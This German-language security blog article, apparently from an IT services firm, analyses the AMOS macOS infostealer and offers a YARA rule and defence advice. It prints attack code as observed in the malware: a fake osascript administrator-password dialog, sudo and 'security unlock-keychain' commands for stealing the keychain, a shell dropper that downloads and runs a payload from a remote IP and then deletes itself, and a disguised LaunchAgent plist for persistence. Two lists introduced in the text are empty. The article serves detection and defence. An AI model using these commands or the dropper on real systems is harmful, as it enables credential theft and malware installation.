Reverse Engineering: macOS-Stealer-Signaturen im Visier

macOS galt oft als sicherer Hafen – doch die Realität sieht anders aus. macOS-Stealer wie AMOS (Atomic macOS Stealer) verbreiten sich rasant und zielen gezielt auf Keychain-Daten, Krypto-Wallets und Unternehmens-Zugangsdaten ab. Dieser Artikel analysiert die typischen Infektionswege, Signaturen und Persistenzmechanismen aus Sicht des Reverse Engineering.

1. Der Mythos der unantastbaren macOS-Sicherheit

Jahrzehntelang hielt sich in der IT-Landschaft hartnäckig die Annahme, macOS sei immun gegen Viren und Malware. Diese Wahrnehmung resultierte primär aus dem geringeren Marktanteil von Apples Betriebssystem im Vergleich zu Windows und den integrierten Sicherheitsarchitekturen wie Gatekeeper, XProtect und Sandbox. Doch mit dem rasanten Einzug von MacBooks in B2B-Umgebungen – insbesondere in Tech-Startups, Kreativagenturen und bei Führungskräften – hat sich das Blatt drastisch gewendet.

Moderne Angreifer haben den hohen Wert dieser B2B-Endpunkte erkannt. Auf Entwickler-Macs liegen oft unverschlüsselte API-Keys, SSH-Schlüssel, Quellcode-Repositorys und Sitzungs-Token für Cloud-Infrastrukturen. Ein erfolgreicher Angriff auf ein einziges macOS-Gerät kann somit das Tor zu einer vollständigen Kompromittierung des Unternehmensnetzwerks öffnen. In diesem Szenario dominieren sogenannte Infostealer das Bedrohungsbild.

Durch die enge Verzahnung von persönlichen und beruflichen Konten auf Arbeitsgeräten (z. B. durch gespeicherte Passwörter im Browser oder der iCloud-Schlüsselkette) erzielen Kriminelle mit Infostealern maximale Hebelwirkung. Dies macht eine fundierte Analyse dieser Bedrohungen aus Sicht des Reverse Engineering unerlässlich für moderne Security-Teams.

2. Anatomie moderner macOS-Stealer (AMOS & Co.)

Um die typischen Signaturen und Abwehrmechanismen zu verstehen, müssen wir uns mit der Struktur der Malware vertraut machen. Als Paradebeispiel dient der Atomic macOS Stealer (AMOS), der erstmals Anfang 2023 auf Untergrund-Marktplätzen als Malware-as-a-Service (MaaS) auftauchte. AMOS wird kontinuierlich weiterentwickelt und demonstriert eindrucksvoll, wie effektiv macOS-Sicherheitsmechanismen ausgehebelt werden können.

Typischerweise wird die Malware als komprimiertes Disk-Image (.dmg) oder Installationspaket (.pkg) ausgeliefert. Die Verbreitung erfolgt meist über präparierte Werbeanzeigen in Suchmaschinen (Malvertising), bei denen gefälschte Versionen populärer Software wie Google Chrome, Notion, Zoom, Arc Browser oder geknackte Entwicklungswerkzeuge angeboten werden.

Sobald der Benutzer das DMG-Archiv öffnet und den vermeintlichen Installationsprozess startet, tritt der Schadcode in Aktion. Technisch handelt es sich bei AMOS und seinen Derivaten (wie MacStealer oder Realst) oft um kompilierte Go- oder C++-Binärdateien, die in die App-Struktur eingebettet sind. Ein Blick in das Anwendungsbundle offenbart die typische macOS-App-Struktur:

MaliciousApp.app/
├── Contents/
│   ├── Info.plist
│   ├── MacOS/
│   │   └── MaliciousBinary  <-- Das eigentliche Stealer-Executable (Mach-O)
│   └── Resources/
│       └── Assets.car

Das Executable ist ein Mach-O-Binary (oft kompiliert für ARM64 und x86_64, um auf Intel- und Apple-Silicon-Chips nativ zu laufen). Während der statischen Analyse mittels Tools wie otool oder disassemble fallen typische Signaturen auf, wie zum Beispiel verdächtige String-Referenzen auf Wallet-Erweiterungen (z. B. MetaMask, TronLink) und Pfade zu sensiblen Systemdateien.

3. Der Keychain-Abgriff: Brute-Force und Social Engineering

Ein Hauptziel jedes macOS-Stealers ist die Extraktion der iCloud-Schlüsselkette (Keychain). Die lokale Schlüsselkette wird in Dateien mit der Endung .keychain-db gespeichert. Der Standardpfad lautet:

~/Library/Keychains/login.keychain-db

Diese Datei enthält alle gespeicherten Systempasswörter, WLAN-Schlüssel, Zertifikate und oft auch Web-Logins. Apple schützt diesen Speicherbereich über das Sicherheits-Framework TCC (Transparency, Consent, and Control). Eine Sandbox-App oder eine nicht autorisierte Drittanbieter-Anwendung kann diese Datei nicht ohne Weiteres auslesen. Um diesen Schutz zu umgehen, bedienen sich Stealer-Entwickler einer raffinierten Kombination aus Social Engineering und System-APIs.

Die Malware erzeugt über ein Shell-Skript oder direkt aus dem Binary heraus eine gefälschte macOS-Systemabfrage unter Verwendung von AppleScript (über den Befehl osascript). Das Skript blockiert den Bildschirm und fordert den Benutzer wiederholt auf, sein macOS-Administrator-Passwort einzugeben:

osascript -e 'display dialog "macOS benötigt Ihre Administrator-Anmeldedaten, um das System-Update abzuschließen." default answer "" with title "Systemeinstellungen" with icon caution buttons {"Abbrechen", "Erlauben"} default button "Erlauben" with hidden answer'

Klickt der Benutzer auf „Abbrechen“, öffnet sich der Dialog in einer Endlosschleife sofort wieder, bis das korrekte Passwort eingegeben wird. Sobald der Nutzer sein Passwort eingibt, validiert die Malware die Eingabe. Dies geschieht oft lokal im Hintergrund, indem das Skript versucht, ein sudo-Kommando auszuführen oder die Schlüsselkette lokal zu entschlüsseln:

# Validierungsversuch der Anmeldedaten im Hintergrund
echo "$USER_PASSWORD" | sudo -S -v &>/dev/null

Ist der sudo-Versuch erfolgreich, wurde das Passwort verifiziert. Nun nutzt die Malware dieses Passwort, um die login.keychain-db zu kopieren und die Verschlüsselung aufzuheben. Im Reverse Engineering sehen wir häufig, dass die Malware danach das Tool security aufruft, um die Schlüsselkette zu manipulieren oder direkt zu exportieren:

security unlock-keychain -p "$USER_PASSWORD" ~/Library/Keychains/login.keychain-db

4. Shell-Dropper und Schadcode-Zustellung

Um die Erkennung durch statische Virenscanner (wie XProtect) zu minimieren, bestehen die initialen Schadcode-Dateien oft nur aus wenigen Zeilen Code. Diese werden als Shell-Dropper bezeichnet. Sie fungieren als Türöffner, die den eigentlichen Payload verschlüsselt aus dem Internet nachladen.

Ein typischer Shell-Dropper nutzt eingebaute macOS-Werkzeuge wie curl oder wget, um Payload-Dateien von C2-Servern oder legitimen Cloud-Speichern (wie Dropbox oder Google Drive) herunterzuladen. Ein im Feld beobachtetes AMOS-Zustellungsmuster sieht wie folgt aus:

#!/bin/bash
# Minimalistischer Shell-Dropper zur Payload-Ausführung
TARGET_DIR="/tmp/.sys_update"
mkdir -p "$TARGET_DIR"
curl -s -L -o "$TARGET_DIR/updater" "http://185.196.220.14/bin/macos_payload"
chmod +x "$TARGET_DIR/updater"
"$TARGET_DIR/updater" &>/dev/null &
rm -f "$0"

Bei der statischen Analyse dieses Droppers stechen mehrere Evasion-Techniken ins Auge:

Um solche Dropper im Netzwerkverkehr aufzuspüren, analysieren Analysten die User-Agent-Strings, die von den Skripten verwendet werden. Oft verwenden Dropper den Standard-User-Agent von curl (z. B. curl/7.85.0), was in einer normalen Benutzerumgebung ungewöhnlich ist und als Signatur genutzt werden kann.

5. Persistenz auf macOS: Wie sich Schadcode einnistet

Viele Infostealer sind auf schnelle Ausführung ausgelegt ("One-Shot"): Sie infiltrieren das System, rauben die Schlüssel und senden diese an den C2-Server. Ist dieser Prozess abgeschlossen, beenden sie sich. Um jedoch dauerhaften Zugriff auf den Rechner zu behalten, implementieren modernere Varianten gezielte Mechanismen zur Persistenz (Malware).

Auf macOS gibt es dafür primär drei Angriffsvektoren, die beim Booten oder beim Anmelden des Benutzers getriggert werden:

Ein typischer Persistenz-Mechanismus via LaunchAgent basiert auf einer XML-Property-List-Datei (.plist). Die Malware hinterlegt eine solche Datei im Verzeichnis des Benutzers:

~/Library/LaunchAgents/com.apple.systemupdate.plist

Durch die Namensgebung mit dem Präfix com.apple. wird versucht, den Prozess als legitimen Apple-Systemdienst zu tarnen (Masquerading). Im Inneren der Plist-Datei offenbart sich jedoch die bösartige Struktur:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.systemupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>~/Library/Application Support/.sys_updater/bin -run</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>

Die Schlüssel RunAtLoad = true and KeepAlive = true sind hier die entscheidenden forensischen Indikatoren. Sie weisen das System an, den Prozess sofort beim Laden der Benutzeroberfläche auszuführen und ihn im Falle eines Absturzes oder einer Beendigung automatisch neu zu starten.

6. Signaturen für Blue-Teams: Erkennung und Analyse

Für Blue-Teams und Security-Analysten ist es essenziell, detektierbare Signaturen aus dem Schadverhalten abzuleiten. YARA ist hierfür der Industriestandard. Eine YARA-Regel sucht nach spezifischen String-Mustern oder Byte-Sequenzen innerhalb der untersuchten Mach-O-Dateien oder im Arbeitsspeicher.

Nachfolgend ist eine beispielhafte YARA-Regel dargestellt, die speziell auf die Erkennungsmerkmale von AMOS-Binaries und Keychain-Abgriff-Mustern abzielt:

rule macOS_Atomic_Stealer_AMOS {
    meta:
        description = "Erkennt typische Signaturen des Atomic macOS Stealer (AMOS) in Mach-O Binärdateien"
        author = "Pragma-Code Security Research"
        date = "2026-07-11"
        version = "1.0"
        reference = "https://www.pragma-code.de/blog-macos-stealer-signaturen-reverse-engineering"
    
    strings:
        // Spezifische Pfade und Bezeichnungen
        $s1 = "login.keychain-db" ascii nocase
        $s2 = "osascript -e" ascii
        $s3 = "with icon caution" ascii
        
        // Typische Wallet-Pfade, nach denen AMOS sucht
        $w1 = "Library/Application Support/Google/Chrome/Default/Local Extension Settings" ascii
        $w2 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii // MetaMask ID
        
        // Exfiltrations-Strings und C2-Muster
        $c1 = "multipart/form-data" ascii
        $c2 = "upload" ascii nocase
        
    condition:
        // Mach-O Magic Number an Stelle 0 und Erfüllung der String-Kriterien
        (uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe) and
        (2 of ($s*) and 1 of ($w*) and 1 of ($c*))
}

Neben statischen YARA-Regeln ist das Verhaltens-Monitoring (Behavioral Monitoring) der effektivste Schutz vor Zero-Day-Varianten. EDR-Systeme (Endpoint Detection and Response) sollten so konfiguriert sein, dass sie Alarm schlagen, wenn:

7. Fazit & B2B-Sicherheitsstrategie

Die Ära, in der macOS-Geräte in Firmennetzwerken ignoriert werden durften, ist endgültig vorbei. Wie unsere Analyse zeigt, nutzen moderne Stealer-Kampagnen präzise Methoden, um unter dem Radar von Sicherheitslösungen zu operieren. Durch die Kombination aus Social Engineering (gefälschte Abfragen via osascript) und der Ausnutzung eingebauter Systemfunktionen hebeln Angreifer bestehende Sicherheitsbarrieren aus.

Unternehmen, die macOS-Flotten einsetzen, müssen ihre Sicherheitsstrategie anpassen. Ein wirksamer Schutz basiert auf einer mehrschichtigen Sicherheitsarchitektur:

1. Implementierung von MDM & Restriktionen

   Verwenden Sie Mobile Device Management (MDM), um die installation nicht-signierter Software komplett zu blockieren und TCC-Rechte restriktiv einzuschränken.

2. Einsatz moderner Endpoint Security (EDR)

   Setzen Sie auf EDR-Lösungen, die speziell für macOS optimiert sind und verhaltensbasierte Analysen anstelle rein statischer Signaturprüfungen durchführen.

3. Sensibilisierung & Zero Trust

   Schulen Sie Mitarbeiter, niemals Passwörter in unerwarteten Systemdialogen einzugeben, und forcieren Sie den Umstieg auf passwortlose Authentifizierung und Passkeys.

Unsere Expertise vor Ort

Wir sind Ihr digitaler Partner – regional verankert und überregional erfolgreich.

Kontaktanfrage in Ihrer Region starten →

IT Lösungen BerlinIT Lösungen HamburgIT Lösungen MünchenIT Lösungen KölnIT Lösungen Frankfurt am MainIT Lösungen StuttgartIT Lösungen DüsseldorfIT Lösungen LeipzigIT Lösungen DortmundIT Lösungen EssenIT Lösungen BremenIT Lösungen HannoverIT Lösungen NürnbergIT Lösungen WienIT Lösungen GrazIT Lösungen LinzIT Lösungen SalzburgIT Lösungen ZürichIT Lösungen GenfIT Lösungen BaselIT Lösungen Bern

Erweitertes Fachglossar